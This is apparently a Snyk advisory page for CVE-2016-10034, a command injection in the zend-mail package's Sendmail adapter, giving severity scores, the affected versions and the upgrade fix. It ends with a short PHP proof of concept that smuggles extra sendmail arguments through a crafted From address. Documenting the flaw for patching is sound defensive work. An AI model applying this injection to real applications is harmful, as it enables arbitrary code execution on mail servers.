Command Injection Affecting zendframework/zend-mail package, versions <2.4.11 >=2.5, <2.7.2
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Mature
EPSS
96.41% (100th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-ZENDFRAMEWORKZENDMAIL-6673181
- published 24 Apr 2024
- disclosed 14 May 2022
- credit Dawid Golunski
Introduced: 14 May 2022
CVE-2016-10034 Open this link in a new tabHow to fix?
Upgrade zendframework/zend-mail to version 2.4.11, 2.7.2 or higher.
Overview
Affected versions of this package are vulnerable to Command Injection due to the setFrom function in the Sendmail adapter. An attacker can execute arbitrary code by passing extra parameters to the mail command through a crafted e-mail address containing a backslash double quote.
PoC
use Zend\Mail;
$mail = new Mail\Message();
$mail->setBody('This is the text of the email.');
// inject additional parameters to sendmail command line
$mail->setFrom('"AAA\" params injection"@domain', 'Sender\'s name');
$mail->addTo('hacker@localhost', 'Name of recipient');
$mail->setSubject('TestSubject');
$transport = new Mail\Transport\Sendmail();
$transport->send($mail);